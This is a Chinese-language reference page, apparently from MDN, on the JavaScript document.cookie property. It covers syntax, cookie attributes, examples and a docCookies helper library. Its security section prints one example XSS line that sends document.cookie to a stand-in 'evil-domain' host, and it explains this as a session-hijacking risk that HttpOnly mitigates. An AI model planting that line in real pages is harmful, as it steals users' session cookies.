Document.cookie

获取并设置与当前文档相关联的 cookie。可以把它当成一个 getter and setter

语法

js
allCookies = document.cookie;

在上面的代码中,allCookies 被赋值为一个字符串,该字符串包含所有的 Cookie,每条 cookie 以"分号和空格 (; )"分隔 (即, key=value 键值对)。

js
document.cookie = newCookie;

newCookie 是一个键值对形式的字符串。需要注意的是,用这个方法一次只能对一个 cookie 进行设置或更新。

  • 以下可选的 cookie 属性值可以跟在键值对后,用来具体化对 cookie 的设定/更新,使用分号以作分隔:

    • ;path=path (例如 '/', '/mydir') 如果没有定义,默认为当前文档位置的路径。

    • ;domain=domain (例如 'example.com', 'subdomain.example.com') 如果没有定义,默认为当前文档位置的路径的域名部分。与早期规范相反的是,在域名前面加 . 符将会被忽视,因为浏览器也许会拒绝设置这样的 cookie。如果指定了一个域,那么子域也包含在内。

    • ;max-age=max-age-in-seconds (例如一年为 60*60*24*365)

    • ;expires=date-in-GMTString-format 如果没有定义,cookie 会在对话结束时过期

    • ;secure (cookie 只通过 https 协议传输)

  • cookie 的值字符串可以用encodeURIComponent()来保证它不包含任何逗号、分号或空格 (cookie 值中禁止使用这些值).

备注: 在 Gecko 6.0 前,被引号括起的路径的引号会被当做路径的一部分,而不是被当做定界符。现在已被修复。

示例

示例 1: 简单用法

js
document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
alert(document.cookie);
// 显示:name=oeschger;favorite_food=tripe
js
document.cookie = "test1=Hello";
document.cookie = "test2=World";

var myCookie = document.cookie.replace(
  /(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/,
  "$1",
);

alert(myCookie);
// 显示:World

示例 3: 只执行某事一次

要使下面的代码工作,请替换所有someCookieName (cookie 的名字) 为自定义的名字。

js
if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
  alert("Do something here!");
  document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
}
}

作为一个格式化过的字符串,cookie 的值有时很难被自然地处理。下面的库的目的是通过定义一个和 Storage 对象部分一致的对象(docCookies),简化 document.cookie 的获取方法。它提供完全的 Unicode 支持。

js
/*\
|*|
|*|  :: cookies.js ::
|*|
|*|  A complete cookies reader/writer framework with full unicode support.
|*|
|*|  https://developer.mozilla.org/zh-CN/docs/DOM/document.cookie
|*|
|*|  This framework is released under the GNU Public License, version 3 or later.
|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
|*|  Syntaxes:
|*|
|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
|*|  * docCookies.getItem(name)
|*|  * docCookies.removeItem(name[, path], domain)
|*|  * docCookies.hasItem(name)
|*|  * docCookies.keys()
|*|
\*/

var docCookies = {
  getItem: function (sKey) {
    return (
      decodeURIComponent(
        document.cookie.replace(
          new RegExp(
            "(?:(?:^|.*;)\\s*" +
              encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") +
              "\\s*\\=\\s*([^;]*).*$)|^.*$",
          ),
          "$1",
        ),
      ) || null
    );
  },
  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) {
      return false;
    }
    var sExpires = "";
    if (vEnd) {
      switch (vEnd.constructor) {
        case Number:
          sExpires =
            vEnd === Infinity
              ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT"
              : "; max-age=" + vEnd;
          break;
        case String:
          sExpires = "; expires=" + vEnd;
          break;
        case Date:
          sExpires = "; expires=" + vEnd.toUTCString();
          break;
      }
    }
    document.cookie =
      encodeURIComponent(sKey) +
      "=" +
      encodeURIComponent(sValue) +
      sExpires +
      (sDomain ? "; domain=" + sDomain : "") +
      (sPath ? "; path=" + sPath : "") +
      (bSecure ? "; secure" : "");
    return true;
  },
  removeItem: function (sKey, sPath, sDomain) {
    if (!sKey || !this.hasItem(sKey)) {
      return false;
    }
    document.cookie =
      encodeURIComponent(sKey) +
      "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" +
      (sDomain ? "; domain=" + sDomain : "") +
      (sPath ? "; path=" + sPath : "");
    return true;
  },
  hasItem: function (sKey) {
    return new RegExp(
      "(?:^|;\\s*)" +
        encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") +
        "\\s*\\=",
    ).test(document.cookie);
  },
  keys: /* optional method: you can safely remove it! */ function () {
    var aKeys = document.cookie
      .replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "")
      .split(/\s*(?:\=[^;]*)?;\s*/);
    for (var nIdx = 0; nIdx < aKeys.length; nIdx++) {
      aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]);
    }
    return aKeys;
  },
};

备注: 对于永久 cookie 我们用了Fri, 31 Dec 9999 23:59:59 GMT作为过期日。如果你不想使用这个日期,可使用*世界末日*Tue, 19 Jan 2038 03:14:07 GMT,它是 32 位带符号整数能表示从 1 January 1970 00:00:00 UTC 开始的最大秒长 (即01111111111111111111111111111111, 是 new Date(0x7fffffff * 1e3)).

语法
js
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
描述

创建或覆盖一个 cookie

参数
name (必要)

要创建或覆盖的 cookie 的名字 (string)。

value (必要)

cookie 的值 (string)。

end (可选)

最大年龄的秒数 (一年为 31536e3,永不过期的 cookie 为Infinity) ,或者过期时间的 GMTString 格式或Date 对象; 如果没有定义则会在会话结束时过期 (number – 有限的或 Infinitystring, Date object or null)。

path (可选)

例如 '/', '/mydir'。如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段

domain (可选)

例如 'example.com','.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义,默认为当前文档位置的路径的域名部分 (stringnull)。

secure (可选)

cookie 只会被 https 传输 (booleannull)。

语法
js
docCookies.getItem(name)
描述

读取一个 cookie。如果 cookie 不存在返回null

参数
name

读取的 cookie 名 (string).

Syntax
js
docCookies.removeItem(name[, path],domain)
描述

删除一个 cookie。

参数
name

要移除的 cookie 名 (string).

path (可选)

例如 '/', '/mydir'。如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段

domain (可选)

例如 'example.com', '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义,默认为当前文档位置的路径的域名部分 (stringnull)。

语法
js
docCookies.hasItem(name)
描述

检查一个 cookie 是否存在

参数
name

要检查的 cookie 名 (string).

语法
js
docCookies.keys()
描述

返回一个这个路径所有可读的 cookie 的数组。

示例用法:

js
docCookies.setItem("test0", "Hello world!");
docCookies.setItem(
  "test1",
  "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9",
  Infinity,
);
docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
docCookies.setItem(
  "test5",
  "Hello world!",
  "Tue, 06 Dec 2022 13:11:07 GMT",
  "/home",
);
docCookies.setItem("test6", "Hello world!", 150);
docCookies.setItem("test7", "Hello world!", 245, "/content");
docCookies.setItem("test8", "Hello world!", null, null, "example.com");
docCookies.setItem("test9", "Hello world!", null, null, null, true);
docCookies.setItem("test1;=", "Safe character test;=", Infinity);

alert(docCookies.keys().join("\n"));
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
docCookies.removeItem("test1");
docCookies.removeItem("test5", "/home");
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
alert(docCookies.getItem("unexistingCookie"));
alert(docCookies.getItem());
alert(docCookies.getItem("test1;="));

安全

路径限制并不能阻止从其他路径访问 cookie. 使用简单的 DOM 即可轻易地绕过限制 (比如创建一个指向限制路径的,隐藏的iframe, 然后访问其 contentDocument.cookie 属性). 保护 cookie 不被非法访问的唯一方法是将它放在另一个域名/子域名之下,利用同源策略保护其不被读取。

Web 应用程序通常使用 cookies 来标识用户身份及他们的登录会话。因此通过窃听这些 cookie,就可以劫持已登录用户的会话。窃听的 cookie 的常见方法包括社会工程和 XSS 攻击 -

js
new Image().src =
  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly 属性可以阻止通过 javascript 访问 cookie,从而一定程度上遏制这类攻击。参见 Cookies and Security.

备注

  • 从 Firefox 2 起,有更好的客户端存储机制用以替代 cookie - WHATWG DOM Storage.
  • 你可以通过更新一个 cookie 的过期时间为 0 来删除一个 cookie。
  • 请注意,更多/更大的 cookies 意味着每个请求都要包含更繁重的数据传输。如果你只是需要存储些 "client-only" 的数据,那么郑重建议你使用 WHATWG DOM Storage.

规范

参见